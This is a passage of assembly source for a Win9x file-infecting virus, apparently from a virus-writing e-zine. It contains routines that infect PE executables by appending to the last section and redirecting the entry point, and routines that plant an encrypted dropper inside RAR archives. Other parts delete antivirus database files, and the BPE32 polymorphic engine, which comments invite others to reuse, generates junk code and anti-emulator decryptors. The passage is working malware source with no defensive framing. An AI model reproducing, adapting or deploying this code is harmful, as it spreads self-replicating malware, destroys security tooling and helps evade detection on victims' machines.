jc exit_infection
mov [ebp + file_time - mgdelta], ecx ;save it
mov [ebp + file_date - mgdelta], edi
mov eax, 716ch ;LFN extended Create/
mov esi, edx ;/Open file
dec ebx
dec ebx
xor ecx, ecx ;ECX=0
cdq ;EDX=0
inc edx ;EDX=1
call int21h ;open file for R/W
jc exit_infection
xchg ebx, eax
mov eax, 12345678 ;get extension
tmpext = dword ptr $ - 4
cmp ah, 'R' ;is it ".RAR" ?
je try_RAR ;yeah, infect RAR
;Now we will test for Pentium+ processor
pushad ;save all regs
pushfd ;save EFLAGS
pop eax ;get them
mov ecx, eax ;save them
or eax, 200000h ;flip ID bit in EFLAGS
push eax ;store
popfd ;flags
pushfd ;get them back
pop eax ;...
xor eax, ecx ;same?
je end_cc ;shit, we r on 486-
xor eax, eax ;EAX=0
inc eax ;EAX=1
cpuid ;CPUID
and eax, 111100000000b ;mask processor family
cmp ah, 4 ;is it 486?
je end_cc ;baaaaaaad
popad ;no, Pentium installed
mov byte ptr [ebp + v_state - mgdelta], BG_INFECTINEXEC ;set state
push IMAGE_SIZEOF_DOS_HEADER ;MZ header
pop ecx
call read_something ;read it
jc close_file
cmp word ptr [ebp + header - mgdelta], IMAGE_DOS_SIGNATURE
jne close_file ;is it really MZ header?
cmp word ptr [ebp + header.MZ_res2 - mgdelta], 29ah
bg_sig = word ptr $ - 2 ;already infected?
je close_file
call seek_eof ;get file size
jc close_file
mov [ebp + fsize - mgdelta], eax ;save it
cmp eax, 1000h ;is it smaller than
jb close_file ;4096 bytes?
mov edx, 400000h
cmp edx, eax ;too large?
jb close_file
mov edx, [ebp + header.MZ_lfanew - mgdelta] ;get ptr to PE header
mov [ebp + MZlfanew - mgdelta], edx ;save it
xchg eax, edx
cmp eax, edx ;points inside file?
jnb close_file ;no, invalid ptr
call seek_here ;seek to MZ_lfanew
mov ecx, 4+IMAGE_SIZEOF_FILE_HEADER+IMAGE_SIZEOF_NT_OPTIONAL_HEADER
call read_something ;read whole PE header
jc close_file
cmp dword ptr [ebp + header - mgdelta], IMAGE_NT_SIGNATURE
jne close_file ;is it PE\0\0?
cmp word ptr [ebp + header.NT_FileHeader.FH_Machine - mgdelta], \
IMAGE_FILE_MACHINE_I386 ;must i386 compatible
jne close_file
mov eax, [ebp + header.NT_FileHeader.FH_Characteristics - mgdelta]
not al
test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
jne close_file ;must be EXEC, mustnt be DLL
cmp [ebp + header.NT_OptionalHeader.OH_ImageBase - mgdelta], 400000h
jne close_file ;must be 400000h
movzx esi, word ptr [ebp + header.NT_FileHeader.FH_SizeOfOptionalHeader - mgdelta]
movzx edx, word ptr [ebp + header.NT_FileHeader.FH_NumberOfSections - mgdelta]
dec edx
imul edx, IMAGE_SIZEOF_SECTION_HEADER ;ptr to last section
mov eax, 12345678h
MZlfanew = dword ptr $ - 4
sub eax, -IMAGE_SIZEOF_FILE_HEADER-4
add eax, esi
add eax, edx
mov [ebp + sh_pos - mgdelta], eax
call seek_here ;seek to last section header
push IMAGE_SIZEOF_SECTION_HEADER
pop ecx
lea edx, [ebp + section_header - mgdelta]
call r_something ;read last section header
jc close_file
mov eax, virtual_end-Start ;size of file in memory
mov esi, [ebp + section_header.SH_SizeOfRawData - mgdelta]
lea edx, [ebp + section_header.SH_VirtualSize - mgdelta]
add [edx], eax ;new VirtualSize, set WRITE bit
or byte ptr [ebp + section_header.SH_Characteristics.hiw.hib - mgdelta], 0c0h
add eax, [edx] ;now we will align some items
mov ecx, [ebp + header.NT_OptionalHeader.OH_FileAlignment - mgdelta]
cdq ;in PE header
div ecx
inc eax
mul ecx
add [ebp + section_header.SH_SizeOfRawData - mgdelta], eax
sub eax, esi ;new SizeOfRawData
mov [ebp + header.NT_OptionalHeader.OH_SizeOfImage - mgdelta], eax
;new SizeOfImage
mov eax, 12345678h ;ptr to last section header
sh_pos = dword ptr $ - 4
call seek_here ;seek there
push IMAGE_SIZEOF_SECTION_HEADER ;write modified section
pop ecx ;header
lea edx, [ebp + section_header - mgdelta]
call write_something ;...
call seek_here ;seek to MZ_res2
push 2 ;and write there
pop ecx ;already infected
lea edx, [ebp + bg_sig - mgdelta] ;mark
call write_something ;...
push 4 ;write there original
pop ecx ;entrypoint also
lea edx, [ebp + header.NT_OptionalHeader.OH_AddressOfEntryPoint - mgdelta]
call write_something ;...
mov eax, [ebp + MZlfanew - mgdelta] ;seek to PE header
call seek_here
mov eax, 12345678h ;get file size
fsize = dword ptr $ - 4
add eax, [ebp + section_header.SH_VirtualAddress - mgdelta]
sub eax, [ebp + section_header.SH_PointerToRawData - mgdelta]
mov [ebp + header.NT_OptionalHeader.OH_AddressOfEntryPoint - mgdelta], eax
;modify Entrypoint
push IMAGE_SIZEOF_FILE_HEADER+4+5eh
pop ecx
lea edx, [ebp + header - mgdelta]
call write_something ;write modified PE header
call seek_eof ;seek to end of file
lea edi, [ebp + crypted_virus - mgdelta] ;address of encrypted virus
xor ecx, ecx ;ECX=0
mov cl, 1 ;CL=f_poly
f_poly = byte ptr $ - 1 ;poly-engine ran once ?
jecxz end_poly ;yeah, copy virus only
mov esi, 12345678h ;get start of virus in memory
mem_addr = dword ptr $ - 4
mov ecx, 6c0h ;aproximated size of virus
call BPE32
mov byte ptr [ebp + f_poly - mgdelta], 0 ;set poly semaphore
mov byte ptr [ebp + do_RAR - mgdelta], 1 ;enable RAR infection
end_poly:
mov ecx, 2000h ;8192 bytes
mov edx, edi ;where?
call write_something ;write 8192 bytes of virus
jmp close_file ;to file and quit
end_cc: popad ;restore all registers
close_file:
mov ah, 3eh ;close file
call int21h ;...
mov eax, 7143h ;LFN set file time/date
push 3
pop ebx
lea edx, [ebp + targetname - mgdelta]
mov ecx, 12345678h ;original time
file_time = dword ptr $ - 4
mov edi, 12345678h ;original date
file_date = dword ptr $ - 4
call int21h ;set it back
mov eax, 7143h ;LFN set file attributes
dec ebx
dec ebx
mov ecx, 12345678h ;original file attributes
file_attr = dword ptr $ - 4
call int21h ;set it back
;now we will delete some AV databases
lea esi, [ebp + ShItTyFiLeZ - mgdelta] ;start of file names
push 5 ;number of them
pop ecx
DeLiT: push ecx ;save count
mov edx, esi
mov eax, 4301h ;set file attributes
xor ecx, ecx ;blank them
call int21h ;...
mov ah, 41h ;and delete file
call int21h ;...
pop ecx ;restore count
end_sz: lodsb ;get
test al, al ;end of
jne end_sz ;string
loop DeLiT ;delete files in a loop
jmp exit_infection ;and exit
try_RAR:
mov byte ptr [ebp + v_state - mgdelta], BG_INFECTINRAR ;set v_state
xor ecx, ecx ;ECX=0
mov cl, 0 ;CL=do_RAR
do_RAR = byte ptr $ - 1 ;before infectin RAR we must
jecxz close_file ;infect at least one EXE
;to initialize poly
;now we will check, if last file in RAR has our name. If has, RAR is already
;infected and we wont infect it again.
call seek_eof ;go to the end of file
jc close_file
add eax, -3000h-8 ;go to the EOF-3000h-8
call seek_here ;...
jc close_file
lea edx, [ebp + tmpname - mgdelta] ;read 8 bytes from that
push 8 ;location to temporary buffer
pop ecx ;...
call r_something ;...
jc close_file
push 2 ;compare 8 bytes of filename
pop ecx
mov esi, edx
lea edi, [ebp + RARName - mgdelta]
n_cmp2: cmpsd
jne inf_RAR ;not match, we can infect it
loop n_cmp2
jmp close_file ;RAR already infected, quit
inf_RAR:call seek_eof ;got to the end of file
lea esi, [ebp + d1start - mgdelta] ;get start of dropper part 1
lea edi, [ebp + virus_in_arc - mgdelta] ;destination
push edi ;save it for l8r use
mov ecx, d1size ;how many bytes
rep movsb ;copy dropper part 1
lea esi, [ebp + crypted_virus - mgdelta] ;get start of encrypted virus
mov ecx, 2000h ;8192 bytes
rep movsb ;copy virus
lea esi, [ebp + d2start - mgdelta] ;get start of dropper part 2
mov ecx, d2size ;how many bytes
rep movsb ;copy dropper part 2
pop esi ;get address of dropper
mov edi, 3000h ;size of dropper
call CRC32 ;calculate CRC32
mov [ebp + RARCRC32 - mgdelta], eax ;save it
lea esi, [ebp + RARHeaderCRC + 2 - mgdelta] ;start of RAR header
mov edi, end_RAR-RARHeader-2 ;size
call CRC32 ;calculate CRC32 of header
mov [ebp + RARHeaderCRC - mgdelta], ax ;save it
mov ecx, end_RAR-RARHeader ;size of RAR header
lea edx, [ebp + RARHeader - mgdelta] ;start of RAR header
call write_something ;write RAR header to file
mov ecx, 3000h ;dropper size
lea edx, [ebp + virus_in_arc - mgdelta] ;start of dropper
call write_something ;write dropper to file
jmp close_file ;and close file
c_name: push edi ;save EDI
lea edi, [ebp + targetname - sgdelta] ;address of filename
jmp cname
check_name:
push edi ;save EDI
lea edi, [ebp + targetname - mgdelta] ;address of filename
cname: mov edx, edi ;...
mov ecx, MAX_PATH ;size of filename
cld
n_loop: lodsb ;load byte
cmp al, 'a' ;is it BIG letter?
jb nlower ;yeah
cmp al, 'z' ;is it letter?
ja nlower ;no
add al, 'A'-'a' ;upper letter
nlower: stosb ;save letter
test al, al ;is it end?
je e_name ;yeah
cmp al, '\' ;is it backslash
jne nloop ;no
nloop: loop n_loop ;upper letters in loop
i_name: pop edi ;restore EDI
stc ;set error flag
ret ;and return
e_name: mov eax, [edi-5] ;get extension
cmp eax, 'EXE.' ;is it .EXE
je n_name
cmp eax, 'RCS.' ;is it .SCR
je n_name
cmp eax, 'RAR.' ;is it .RAR
je n_name
cmp eax, 'XFS.' ;is it .SFX
je n_name
cmp eax, 'LPC.' ;is it .CPL
je n_name
cmp eax, 'KAB.' ;is it .BAK
je n_name
cmp eax, 'TAD.' ;is it .DAT
jne i_name
n_name: pop edi ;restore EDI
callback:
clc ;clear error flag
ret ;and return
seek_here: ;seek to EAX
mov ecx, eax ;ECX=EAX
shr ecx, 16 ;CX=MSW of EAX
movzx edx, ax ;DX=LSW of EAX
xor eax, eax ;EAX=0
jmp seek ;seek
seek_eof:
mov al, 02h ;AL=2h
cdq ;EDX=0
xor ecx, ecx ;ECX=0
seek: mov ah, 42h ;AH=42h
call int21h ;seek
jc q_seek ;error?
movzx eax, ax ;EAX=LSW of EAX
shl edx, 16
or eax, edx ;EAX=LSW of EAX & MSW of EDX
cdq ;EDX=0
clc ;clear error flag
q_seek: ret ;return
CRC32: push ebx ;I found this code in Int13h's
xor ecx, ecx ;tutorial about infectin'
dec ecx ;archives. Int13h found this
mov edx, ecx ;code in Vecna's Inca virus.
NextByteCRC: ;So, thank ya guys...
xor eax, eax ;Ehrm, this is very fast
xor ebx, ebx ;procedure to code CRC32 at
lodsb ;runtime, no need to use big
xor al, cl ;tables.
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
NextBitCRC:
shr bx, 1
rcr ax, 1
jnc NoCRC
xor ax, 08320h
xor bx, 0edb8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx, eax
xor edx, ebx
dec edi
jne NextByteCRC
not edx
not ecx
pop ebx
mov eax, edx
rol eax, 16
mov ax, cx
ret
;BPE32 (Benny's Polymorphic Engine for Win32) starts here. U can find first
;version of BPE32 in DDT#1 e-zine. But unfortunately, how it usualy goes,
;there were TWO, REALLY SILLY/TINY bugs. I found them and corrected them. So,
;if u wanna use BPE32 in your code, use this version, not that version from
;DDT#1. Very BIG sorry to everyone, who had/has/will have problems with it.
BPE32 Proc
pushad ;save all regs
push edi ;save these regs for l8r use
push ecx ; ...
mov edx, edi ; ...
push esi ;preserve this reg
call rjunk ;generate random junk instructions
pop esi ;restore it
mov al, 0e8h ;create CALL instruction
stosb ; ...
mov eax, ecx ; ...
imul eax, 4 ; ...
stosd ; ...
mov eax, edx ;calculate size of CALL+junx
sub edx, edi ; ...
neg edx ; ...
add edx, eax ; ...
push edx ;save it
push 0 ;get random number
call random ; ...
xchg edx, eax
mov [ebp + xor_key - mgdelta], edx ;use it as xor constant
push 0 ;get random number
call random ; ...
xchg ebx, eax
mov [ebp + key_inc - mgdelta], ebx ;use it as key increment constant
x_loop: lodsd ;load DWORD
xor eax, edx ;encrypt it
stosd ;store encrypted DWORD
add edx, ebx ;increment key
loop x_loop ;next DWORD
call rjunk ;generate junx
mov eax, 0006e860h ;generate SEH handler
stosd ; ...
mov eax, 648b0000h ; ...
stosd ; ...
mov eax, 0ceb0824h ; ...
stosd ; ...
greg0: call get_reg ;get random register
cmp al, 5 ;MUST NOT be EBP register
je greg0
mov bl, al ;store register
mov dl, 11 ;proc parameter (do not generate MOV)
call make_xor ;create XOR or SUB instruction
inc edx ;destroy parameter
mov al, 64h ;generate FS:
stosb ;store it
mov eax, 896430ffh ;next SEH instructions
or ah, bl ;change register
stosd ;store them
mov al, 20h ; ...
add al, bl ; ...
stosb ; ...
push 2 ;get random number
call random
test eax, eax
je _byte_
mov al, 0feh ;generate INC DWORD PTR
jmp _dw_
_byte_: mov al, 0ffh ;generate INC BYTE PTR
_dw_: stosb ;store it
mov al, bl ;store register
stosb ; ...
mov al, 0ebh ;generate JUMP SHORT
stosb ; ...
mov al, -24d ;generate jump to start of code (trick
stosb ;for better emulators, e.g. NODICE32)
call rjunk ;generate junx
greg1: call get_reg ;generate random register
cmp al, 5 ;MUST NOT be EBP
je greg1
mov bl, al ;store it
call make_xor ;generate XOR,SUB reg, reg or MOV reg, 0
mov al, 64h ;next SEH instructions
stosb ; ...
mov al, 8fh ; ...
stosb ; ...
mov al, bl ; ...
stosb ; ...
mov al, 58h ; ...
add al, bl ; ...
stosb ; ...
mov al, 0e8h ;generate CALL
stosb ; ...
xor eax, eax ; ...
stosd ; ...
push edi ;store for l8r use
call rjunk ;call junk generator
call get_reg ;random register
mov bl, al ;store it
push 1 ;random number (0-1)
call random ; ...
test eax, eax
jne next_delta
mov al, 8bh ;generate MOV reg, [ESP]; POP EAX
stosb
mov al, 80h
or al, bl
rol al, 3
stosb
mov al, 24h
stosb
mov al, 58h
jmp bdelta
next_delta:
mov al, bl ;generate POP reg; SUB reg, ...
sub al, -58h
bdelta: stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bl
stosb
pop eax
stosd
call rjunk ;random junx
xor bh, bh ;parameter (first execution only)
call greg2 ;generate MOV sourcereg, ...
mov al, 3 ;generate ADD sourcereg, deltaoffset
stosb ; ...
mov al, 18h ; ...
or al, bh ; ...
rol al, 3 ; ...
or al, bl ; ...
stosb ; ...
mov esi, ebx ;store EBX
call greg2 ;generate MOV countreg, ...
mov cl, bh ;store count register
mov ebx, esi ;restore EBX
call greg3 ;generate MOV keyreg, ...
push edi ;store this position for jump to decryptor
mov al, 31h ;generate XOR [sourcereg], keyreg
stosb ; ...
mov al, ch ; ...
rol al, 3 ; ...
or al, bh ; ...
stosb ; ...
push 6 ;this stuff will choose ordinary of calls
call random ;to code generators
test eax, eax
je g5 ;GREG4 - key incremention
cmp al, 1 ;GREG5 - source incremention
je g1 ;GREG6 - count decremention
cmp al, 2 ;GREG7 - decryption loop
je g2
cmp al, 3
je g3
cmp al, 4
je g4
g0: call gg1
call greg6
jmp g_end
g1: call gg2
call greg5
jmp g_end
g2: call greg5
call gg2
jmp g_end
g3: call greg5
gg3: call greg6
jmp g_out
g4: call greg6
call gg1
jmp g_end
g5: call greg6
call greg5
g_out: call greg4
g_end: call greg7
mov al, 61h ;generate POPAD instruction
stosb ; ...
call rjunk ;junk instruction generator
mov al, 0c3h ;RET instruction
stosb ; ...
pop eax ;calculate size of decryptor and encrypted data
sub eax, edi ; ...
neg eax ; ...
mov [esp.Pushad_eax], eax ;store it to EAX register
popad ;restore all regs
ret ;and thats all folx
get_reg proc ;this procedure generates random register
push 8 ;random number (0-7)
call random ; ...
test eax, eax
je get_reg ;MUST NOT be 0 (=EAX is used as junk register)
cmp al, 100b ;MUST NOT be ESP
je get_reg
ret
get_reg endp
make_xor proc ;this procedure will generate instruction, that
push 3 ;will nulify register (BL as parameter)
call random
test eax, eax
je _sub_
cmp al, 1
je _mov_
mov al, 33h ;generate XOR reg, reg
jmp _xor_
_sub_: mov al, 2bh ;generate SUB reg, reg
_xor_: stosb
mov al, 18h
or al, bl
rol al, 3
or al, bl
stosb
ret
_mov_: cmp dl, 11 ;generate MOV reg, 0
je make_xor
mov al, 0b8h
add al, bl
stosb
xor eax, eax
stosd
ret
make_xor endp
gg1: call greg4
jmp greg5
gg2: call greg4
jmp greg6
random proc ;this procedure will generate random number
;in range from 0 to pushed_parameter-1
;0 = do not truncate result
push edx ;save EDX
db 0fh, 31h ;RDTCS instruction - reads PSs tix and stores
;number of them into pair EDX:EAX
xor edx, edx ;nulify EDX, we need only EAX
cmp [esp+8], edx ;is parameter==0 ?
je r_out ;yeah, do not truncate result
div dword ptr [esp+8] ;divide it
xchg eax, edx ;remainder as result
r_out: pop edx ;restore EDX
ret Pshd ;quit procedure and destroy pushed parameter
random endp
make_xor2 proc ;create XOR instruction
mov al, 81h
stosb
mov al, 0f0h
add al, bh
stosb
ret
make_xor2 endp
greg2 proc ;1 parameter = source/count value
call get_reg ;get register
cmp al, bl ;already used ?
je greg2
cmp al, 5
je greg2
cmp al, bh
je greg2
mov bh, al
mov ecx, [esp+4] ;get parameter
push 5 ;choose instructions
call random
test eax, eax
je s_next0
cmp al, 1
je s_next1
cmp al, 2
je s_next2
cmp al, 3
je s_next3
mov al, 0b8h ;MOV reg, random_value
add al, bh ;XOR reg, value
stosb ;param = random_value xor value
push 0
call random
xor ecx, eax
stosd
call make_xor2
mov eax, ecx
jmp n_end2
s_next0:mov al, 68h ;PUSH random_value
stosb ;POP reg
push 0 ;XOR reg, value
call random ;result = random_value xor value
xchg eax, ecx
xor eax, ecx
stosd
mov al, 58h
add al, bh
stosb
call make_xor2
xchg eax, ecx
jmp n_end2
s_next1:mov al, 0b8h ;MOV EAX, random_value
stosb ;MOV reg, EAX
push 0 ;SUB reg, value
call random ;result = random_value - value
stosd
push eax
mov al, 8bh
stosb
mov al, 18h
or al, bh
rol al, 3
stosb
mov al, 81h
stosb
mov al, 0e8h
add al, bh
stosb
pop eax
sub eax, ecx
jmp n_end2
s_next2:push ebx ;XOR reg, reg
mov bl, bh ;XOR reg, random_value
call make_xor ;ADD reg, value
pop ebx ;result = random_value + value
call make_xor2
push 0
call random
sub ecx, eax
stosd
push ecx
call s_lbl
pop eax
jmp n_end2
s_lbl: mov al, 81h ;create ADD reg, ... instruction
stosb
mov al, 0c0h
add al, bh
stosb
ret
s_next3:push ebx ;XOR reg, reg
mov bl, bh ;ADD reg, random_value
call make_xor ;XOR reg, value
pop ebx ;result = random_value xor value
push 0
call random
push eax
xor eax, ecx
xchg eax, ecx
call s_lbl
xchg eax, ecx
stosd
call make_xor2
pop eax
n_end2: stosd
push esi
call rjunk
pop esi
ret Pshd
greg2 endp
greg3 proc
call get_reg ;get register
cmp al, 5 ;already used ?
je greg3
cmp al, bl
je greg3
cmp al, bh
je greg3
cmp al, cl
je greg3
mov ch, al
mov edx, 12345678h ;get encryption key value
xor_key = dword ptr $ - 4
push 3
call random
test eax, eax
je k_next1
cmp al, 1
je k_next2
push ebx ;XOR reg, reg
mov bl, ch ;OR, ADD, XOR reg, value
call make_xor
pop ebx
mov al, 81h
stosb
push 3
call random
test eax, eax
je k_nxt2
cmp al, 1
je k_nxt3
mov al, 0c0h
k_nxt1: add al, ch
stosb
xchg eax, edx
n_end1: stosd
k_end: call rjunk
ret
k_nxt2: mov al, 0f0h
jmp k_nxt1
k_nxt3: mov al, 0c8h
jmp k_nxt1
k_next1:mov al, 0b8h ;MOV reg, value
jmp k_nxt1
k_next2:mov al, 68h ;PUSH value
stosb ;POP reg
xchg eax, edx
stosd
mov al, ch
sub al, -58h
jmp i_end1
greg3 endp
greg4 proc
mov edx, 12345678h ;get key increment value
key_inc = dword ptr $ - 4
i_next: push 3
call random
test eax, eax
je i_next0
cmp al, 1
je i_next1
cmp al, 2
je i_next2
mov al, 90h ;XCHG EAX, reg
add al, ch ;XOR reg, reg
stosb ;OR reg, EAX
push ebx ;ADD reg, value
mov bl, ch
call make_xor
pop ebx
mov al, 0bh
stosb
mov al, 18h
add al, ch
rol al, 3
stosb
i_next0:mov al, 81h ;ADD reg, value
stosb
mov al, 0c0h
add al, ch
stosb
xchg eax, edx
jmp n_end1
i_next1:mov al, 0b8h ;MOV EAX, value
stosb ;ADD reg, EAX
xchg eax, edx
stosd
mov al, 3
stosb
mov al, 18h
or al, ch
rol al, 3
i_end1: stosb
i_end2: call rjunk
ret
i_next2:mov al, 8bh ;MOV EAX, reg
stosb ;ADD EAX, value
mov al, 0c0h ;XCHG EAX, reg
add al, ch
stosb
mov al, 5
stosb
xchg eax, edx
stosd
mov al, 90h
add al, ch
jmp i_end1
greg4 endp
greg5 proc
push ecx
mov ch, bh
push 4
pop edx
push 2
call random
test eax, eax
jne ng5
call i_next ;same as previous, value=4
pop ecx
jmp k_end
ng5: mov al, 40h ;4x inc reg
add al, ch
pop ecx
stosb
stosb
stosb
jmp i_end1
greg5 endp
greg6 proc
push 5
call random
test eax, eax
je d_next0
cmp al, 1
je d_next1
cmp al, 2
je d_next2
mov al, 83h ;SUB reg, 1
stosb
mov al, 0e8h
add al, cl
stosb
mov al, 1
jmp i_end1
d_next0:mov al, 48h ;DEC reg
add al, cl
jmp i_end1
d_next1:mov al, 0b8h ;MOV EAX, random_value
stosb ;SUB reg, EAX
push 0 ;ADD reg, random_value-1
call random
mov edx, eax
stosd
mov al, 2bh
stosb
mov al, 18h
add al, cl
rol al, 3
stosb
mov al, 81h
stosb
mov al, 0c0h
add al, cl
stosb
dec edx
mov eax, edx
jmp n_end1
d_next2:mov al, 90h ;XCHG EAX, reg
add al, cl ;DEC EAX
stosb ;XCHG EAX, reg
mov al, 48h
stosb
mov al, 90h
add al, cl
jmp i_end1
greg6 endp
greg7 proc
mov edx, [esp+4]
dec edx
push 2
call random
test eax, eax
je l_next0
mov al, 51h ;PUSH ECX
stosb ;MOV ECX, reg
mov al, 8bh ;JECXZ label
stosb ;POP ECX
mov al, 0c8h ;JMP decrypt_loop
add al, cl ;label:
stosb ;POP ECX
mov eax, 0eb5903e3h
stosd
sub edx, edi
mov al, dl
stosb
mov al, 59h
jmp l_next
l_next0:push ebx ;XOR EAX, EAX
xor bl, bl ;DEC EAX
call make_xor ;ADD EAX, reg
pop ebx ;JNS decrypt_loop
mov al, 48h
stosb
mov al, 3
stosb
mov al, 0c0h
add al, cl
stosb
mov al, 79h
stosb
sub edx, edi
mov al, dl
l_next: stosb
call rjunk
ret Pshd
greg7 endp
rjunkjc:push 7
call random
jmp rjn
rjunk proc ;junk instruction generator
push 8
call random ;0=5, 1=1+2, 2=2+1, 3=1, 4=2, 5=3, 6=none, 7=dummy jump and call
rjn: test eax, eax
je j5
cmp al, 1
je j_1x2
cmp al, 2
je j_2x1
cmp al, 4
je j2
cmp al, 5
je j3
cmp al, 6
je r_end
cmp al, 7
je jcj
j1: call junx1 ;one byte junk instruction
nop
dec eax
cmc
inc eax
clc
cwde
stc
cld
junx1: pop esi
push 8
call random
add esi, eax
movsb
ret
j_1x2: call j1 ;one byte and two byte
jmp j2
j_2x1: call j2 ;two byte and one byte
jmp j1
j3: call junx3
db 0c1h, 0c0h ;rol eax, ...
db 0c1h, 0e0h ;shl eax, ...
db 0c1h, 0c8h ;ror eax, ...
db 0c1h, 0e8h ;shr eax, ...
db 0c1h, 0d0h ;rcl eax, ...
db 0c1h, 0f8h ;sar eax, ...
db 0c1h, 0d8h ;rcr eax, ...
db 083h, 0c0h
db 083h, 0c8h
db 083h, 0d0h
db 083h, 0d8h
db 083h, 0e0h
db 083h, 0e8h
db 083h, 0f0h
db 083h, 0f8h ;cmp eax, ...
db 0f8h, 072h ;clc; jc ...
db 0f9h, 073h ;stc; jnc ...
junx3: pop esi ;three byte junk instruction
push 17
call random
imul eax, 2
add esi, eax
movsb
movsb
r_ran: push 0
call random
test al, al
je r_ran
stosb
ret
j2: call junx2
db 8bh ;mov eax, ...
db 03h ;add eax, ...
db 13h ;adc eax, ...
db 2bh ;sub eax, ...
db 1bh ;sbb eax, ...
db 0bh ;or eax, ...
db 33h ;xor eax, ...
db 23h ;and eax, ...
db 33h ;test eax, ...
junx2: pop esi ;two byte junk instruction
push 9
call random
add esi, eax
movsb
push 8
call random
sub al, -11000000b
stosb
r_end: ret
j5: call junx5
db 0b8h ;mov eax, ...
db 05h ;add eax, ...
db 15h ;adc eax, ...
db 2dh ;sub eax, ...
db 1dh ;sbb eax, ...
db 0dh ;or eax, ...
db 35h ;xor eax, ...
db 25h ;and eax, ...
db 0a9h ;test eax, ...
db 3dh ;cmp eax, ...
junx5: pop esi ;five byte junk instruction
push 10
call random
add esi, eax
movsb
push 0
call random
stosd
ret
jcj: call rjunkjc ;junk
push edx ;CALL label1
push ebx ;junk
push ecx ;JMP label2
mov al, 0e8h ;junk
stosb ;label1: junk
push edi ;RET
stosd ;junk
push edi ;label2:
call rjunkjc ;junk
mov al, 0e9h
stosb
mov ecx, edi
stosd
mov ebx, edi
call rjunkjc
pop eax
sub eax, edi
neg eax
mov edx, edi
pop edi
stosd
mov edi, edx
call rjunkjc
mov al, 0c3h
stosb
call rjunkjc
sub ebx, edi
neg ebx
xchg eax, ebx
push edi
mov edi, ecx
stosd
pop edi
call rjunkjc
pop ecx
pop ebx
pop edx
ret
rjunk endp
BPE32 EndP ;BPE32 ends here
VxDCall_hook EndP
d1start:include drop1.inc
d1size = dword ptr $ - d1start
d2start:include drop2.inc
d2size = dword ptr $ - d2start
virus_end:
VxDCall0 dd ?
VxDCall_addr db 6 dup (?)
targetname db MAX_PATH dup (?)
tmpname db 8 dup (?)
header db 4+IMAGE_SIZEOF_FILE_HEADER \
+IMAGE_SIZEOF_NT_OPTIONAL_HEADER dup (?)
section_header db IMAGE_SIZEOF_SECTION_HEADER dup (?)
db 512 dup (?)
threadstack:
virus_in_arc db 3000h dup (?)
crypted_virus db 2000h dup (?)
size_unint = $ - virus_end
workspace1 db 16 dup (?)
workspace2 db 16 dup (?)
ends
End first_gen
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[bg.asm]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[drop1.inc]ÄÄÄ
;First part of Win9X dropper
db 4Dh ; M
db 5Ah ; Z
db 50h ; P
db 0 ;
db 2 ;
db 0 ;
db 0 ;
db 0 ;
db 4 ;
db 0 ;
db 0Fh ;
db 0 ;
db 0FFh ;
db 0FFh ;
db 0 ;
db 0 ;
db 0B8h ; ¸
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 40h ; @
db 0 ;
db 1Ah ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 00ah
db 029h
db 000h
db 030h
db 0
db 0
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 1 ;
db 0 ;
db 0 ;
db 0BAh ; º
db 10h ;
db 0 ;
db 0Eh ;
db 1Fh ;
db 0B4h ; ´
db 9 ;
db 0CDh ; Í
db 21h ; !
db 0B8h ; ¸
db 1 ;
db 4Ch ; L
db 0CDh ; Í
db 21h ; !
db 90h ; <20>
db 90h ; <20>
db 54h ; T
db 68h ; h
db 69h ; i
db 73h ; s
db 20h ;
db 70h ; p
db 72h ; r
db 6Fh ; o
db 67h ; g
db 72h ; r
db 61h ; a
db 6Dh ; m
db 20h ;
db 6Dh ; m
db 75h ; u
db 73h ; s
db 74h ; t
db 20h ;
db 62h ; b
db 65h ; e
db 20h ;
db 72h ; r
db 75h ; u
db 6Eh ; n
db 20h ;
db 75h ; u
db 6Eh ; n
db 64h ; d
db 65h ; e
db 72h ; r
db 20h ;
db 57h ; W
db 69h ; i
db 6Eh ; n
db 33h ; 3
db 32h ; 2
db 0Dh ;
db 0Ah ;
db 24h ; $
db 37h ; 7
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
db 0 ;
